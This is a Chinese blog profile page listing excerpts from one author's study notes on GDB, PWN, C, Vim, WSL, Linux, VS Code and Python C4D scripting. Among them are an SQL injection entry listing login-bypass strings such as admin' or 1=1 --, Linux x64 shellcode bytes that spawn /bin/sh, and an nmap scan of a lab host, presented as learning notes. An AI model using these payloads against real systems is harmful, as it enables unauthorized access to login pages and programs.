自定义博客皮肤VIP专享

*博客头图:

格式为PNG、JPG,宽度*高度大于1920*100像素,不超过2MB,主视觉建议放在右侧,请参照线上博客头图

请上传大于1920*100像素的图片!

博客底图:

图片格式为PNG、JPG,不超过1MB,可上下左右平铺至整个背景

栏目图:

图片格式为PNG、JPG,图片宽度*高度为300*38像素,不超过0.5MB

主标题颜色:

RGB颜色,例如:#AFAFAF

Hover:

RGB颜色,例如:#AFAFAF

副标题颜色:

RGB颜色,例如:#AFAFAF

自定义博客皮肤

-+
  • 博客(20)
  • 资源 (1)
  • 收藏
  • 关注

原创 GDB调试总结-4

gef– xinfoxinfo – Retrieve and display runtime information for the location(s) given as parameter.– telescope $xx l(line)[number]枚举栈的指定内容。

2020-10-25 22:13:26 525

原创 C语言总结

难点1 指针计算机中所有的数据都必须放在内存中,不同类型的数据占用的字节数不一样,例如 int 占用 4 个字节,char 占用 1 个字节。为了正确地访问这些数据,必须为每个字节都编上号码,就像门牌号、身份证号一样,每个字节的编号是唯一的,根据编号可以准确地找到某个字节。下图是 4G 内存中每个字节的编号(以十六进制表示):我们将内存中字节的编号称为地址(Address)或指针(Pointer)。 int a = 100; char str[100] ="nihao youyou";pr

2020-06-14 17:40:28 324

原创 SQL注入

SQL注入No1: 后台登录万能密码 admin' or 1=1 -- (最后加一个空格)(注释后面)其他后台万能密码ASP 万能密码1:"or "a"="a2:')or('a'='a3:or 1=1--4:'or 1=1--5:a'or' 1=1--6:"or 1=1--7:'or'a'='a8:"or"="a'='a9:'or''='10:'or'='or'11:1 or '1'='1'=112:1 or '1'='1' or 1=11

2020-06-13 13:55:51 410

原创 VIM总结的技巧

替换核心语句(命令模式) :[addr]s/源字符串/目的字符串/[option]注意:之间不能有空格[addr] 表示检索范围,省略时表示当前行。– “%” :表示整个文件,== “1,$”—> 例如: :%s/match/math/g 全文件搜索 match修改为math– “1,20” :表示从第1行到20行s : 表示替换操作[option] : 表示操作类型– “g”:表示global,全局。...

2020-06-12 22:19:30 148

原创 Box工具使用

Nmapnmap1– SCAN TECHNIQUES:-sS/sT/sA/sW/sM: TCP SYN/Connect()/ACK/Window/Maimon scans–SERVICE/VERSION DETECTION:-sV: Probe open ports to determine service/versionSCRIPT SCAN:-sC: equivalent to --script=defaultnmap -sS -sC -sV 10.10.10.170>

2020-05-31 10:42:18 835

原创 WSL技巧

插一段: Windows terminal右键添加windows terminal下载Terminal图标图标地址下载这个图标后,保存到指定位置(“C:\Users\xxx\Documents\terminal.ico”)添加到鼠标右键批处理修改注册表复制下面的批处理代码,然后保存到.bat文件中,以管理员身份运行即可:@echo offreg.exe add "HKEY_CLASSES_ROOT\Directory\Background\shell\wt" /f /ve /d "Wind

2020-05-28 23:37:33 430

原创 PWN学习随笔

随笔程序 .plt表运行时与ELF文件对比左边是运行时GDB调试,右边是静态文件。两边一一对应bt 函数调用栈gdb atttach后,发现离你想要看的目标函数有较远距离,可以用 finish命令,朝你的目标函数一层层迭代返回过去。执行了7次 finish后,当前下一帧到了pwnme()函数:然后执行 step,进行单步调试。push 0x18从下面两张图可以看出 栈中的 0x18和0x0是怎么得到的:ds 应该存着.got表的基地址吧dword_表示是数值型,off_表示

2020-05-23 23:12:11 298 1

原创 Linux总结

切换镜像源登录阿里云官方镜像站 镜像站找到对应系统和对应版本,按照上面指导操作就好。 easy!BashohmyzshInstall oh-my-zsh via curlsh -c "$(curl -fsSL https://raw.github.com/ohmyzsh/ohmyzsh/master/tools/install.sh)"Install oh-my-zsh via wgetsh -c "$(wget https://raw.github.com/ohmyzsh/

2020-05-23 11:32:30 250

原创 【收集】有帮助的网站

网盘类99百度网盘搜索

2020-05-21 22:09:50 142

原创 vscode 技巧总结

SSH远程登录简介密钥对生成在win10系统,使用已有的ssh,进行命令行生成:ssh-keygen -t rsa -b 4096生成的目录,默认会放在用户的.ssh(.表示隐藏的意思,类似Linux)。C:\Users\XXX(username).ssh注意,如果之前用vscode做过ssh链接,该目录下会有 know_hosts文件,我理解相当于ssh的指纹缓存,先都删掉,否则后面会有冲突。创建位置路径要严格按照示例路径去填写,否则你可能永远创建不成功,或者创建了根本用不了,详见

2020-05-18 22:22:40 1166

转载 Linux 64位 shellcode

linux exec /bin/shunsigned char code[] = "\x6a\x3b\x58\x99\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48""\xc1\xeb\x08\x53\x48\x89\xe7\x52\x57\x48\x89\xe6\xb0\x3b\x0f""\x05";int main(int argc, ch...

2019-10-20 14:59:42 1392

原创 GDB调试-新手笔记3

ldd命令 + readelfldd在制作自己的发行版时经常需要判断某条命令需要哪些共享库文件的支持,以确保指定的命令在独立的系统内可以可靠的运行。ldd stack0可以找到stack0程序使用的共享库,libc的文件路径:/lib/arm-linux-gnueabihf/libc.so.6 (0x76dfc000)readelfreadelf -s (-s --syms ...

2019-10-07 21:47:52 502

原创 GDB调试-新手笔记2

用GDB查看任意地址内容n, the repeat countThe repeat count is a decimal integer; the default is 1. It specifies how much memory (counting by units u) to display.f, the display formatThe display format is o...

2019-10-06 23:25:17 676

原创 GDB 调试--新手笔记1

GCC -g 原因gcc test.cpp -o test -g调试选项,因此在一般需要进行程序调试的场景下,我们都会加上该选项,并且根据调试工具的不同,还能直接选择更有针对性的说明。加上-g选项以后,gcc在编译是会做以下额外的操作:创建符号表,符号表包含了程序中使用的变量名称的列表。关闭所有的优化机制,以便程序执行过程中严格按照原来的C代码进行。如果编译时,没有加...

2019-10-04 12:11:55 2123

原创 PyQT笔记1-Designer

Button样式选择Button,在styleSheet样式里设置相关属性#注释QPushButton { # 这是按钮原本的原色 background-color: rgb(194, 80, 28); font: 16pt "楷体"; border-radius:12px; # 这是边框...

2019-09-22 18:20:10 282

原创 Python C4D 笔记5 - c4d.utils (工具篇-Rad)

介绍C4D的utils模块,首先看下Rad()c4d.utils.Rad(d)¶Convert a degrees value into radians.Parameters: r (number) – Input value in degrees.Return type: numberReturns: Converted value in radians.字面意思看是将角度转...

2019-09-20 20:17:55 1786

原创 Python C4D 笔记4 -获取当前帧 (Basetime and fps)

创建物体 ,然后打python标签。获取当前帧,由于当前时间是相对于整个doc,所以要找c4d.douments下的基类c4d.documents.BaseDocument:BaseDocument.GetTime()BaseDocument.SetTime()先执行下看看效果,不用实例化,直接使用 doc 的方法就可以,代码如下:def main(): bas...

2019-09-18 20:19:57 897

原创 Python C4D 笔记3 - 物体打标签

import c4dfrom c4d import gui#Welcome to the world of Pythonclass First: def __init__(self, object_id, tag_id): self.object_id = object_id self.tag_id = tag_id def c...

2019-09-16 20:14:56 389

原创 Python C4D 笔记2 - 物体信息

创建一个球体,初始绝对坐标设置为(10,20,30)class First: def __init__(self, object_id): self.object_id = object_id def create(self): obj = c4d.BaseObject(self.object_id) pos...

2019-09-16 19:52:12 532

原创 Python C4D 笔记1 - 创建物体

import c4dfrom c4d import gui#Welcome to the world of Pythonclass Basketball: def __init__(self, object_id): self.object_id = object_id def create(self): obj = c4d.Bas...

2019-09-15 22:20:50 755

mingw64-v7.0.0.7z

MinGW,是Minimalist GNUfor Windows的缩写。它是一个可自由使用和自由发布的Windows特定头文件和使用GNU工具集导入库的集合,允许你在GNU/Linux和Windows平台生成本地的Windows程序而不需要第三方C运行时(C Runtime)库。 这是最新版本。

2020-05-21

空空如也

TA创建的收藏夹 TA关注的收藏夹

TA关注的人

提示
确定要删除当前文章?
取消 删除